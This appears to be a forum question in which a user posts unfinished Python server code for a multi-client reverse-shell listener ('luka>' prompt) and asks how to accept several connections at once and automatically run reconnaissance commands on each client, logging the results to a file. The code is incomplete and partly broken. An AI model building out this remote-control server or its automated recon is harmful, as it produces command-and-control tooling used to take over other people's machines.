I'm working on a project that requires me to make a Python reverse listener that can send commands to a client that connects to my server, below is my server code and i am stuck on how to get multiple connections from more than just one client at the same time.
thank you

all_addresses = []
# create socket
def socket_create():
try:
global host
global port
global s
host = '0.0.0.0'
port = 5555
s = socket.socket()
except socket.error as msg:
print("Socket creation error: " + str(msg))
# bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print("Binding socket to port: " + str(port))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print("Socket binding error: " + str(msg))
time.sleep(5)
socket_bind()
# accept connections from multiple clients and save to list
def accept_connections():
for c in all_connections:
c.close()
del all_connections[:]
del all_addresses[:]
while 1:
try:
conn, address = s.accept()
conn.setblocking(1)
all_connections.append(conn)
all_addresses.append(address)
print("\nConnection has been established: " + address[0])
except:
print("Error accepting connections")
# interactive prompt
def start_luka():
while True:
cmd = input('luka> ')
if cmd == 'list':
list_connections()
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)
else:
print("Command not recognized")
# displays all current connections
def list_connections():
results = ''
for i, conn in enumerate(all_connections):
try:
conn.send(str.encode(' '))
conn.recv(20480)
except:
del all_connections[i]
del all_addresses[i]
continue
results += str(i) + ' ' + str(all_addresses[i][0]) + ' ' + str(all_addresses[i][1]) + '\n'
print('------ Clients -----' + '\n' + results)
def main():
socket_create()
socket_bind()
start_luka()
list_connections()
accept_connections()
main()
when i run this code it doesn't say the connection is established and it doesn't add the connection to the list i created. and lastly i'm trying to make all of this automated, as in, the second a client connects to my server listener, these commands will automatically run (ls, pwd, IP a...ect) and a file would be created to store all the data so i can check it out later. not sure where to start on that. thanks for helping
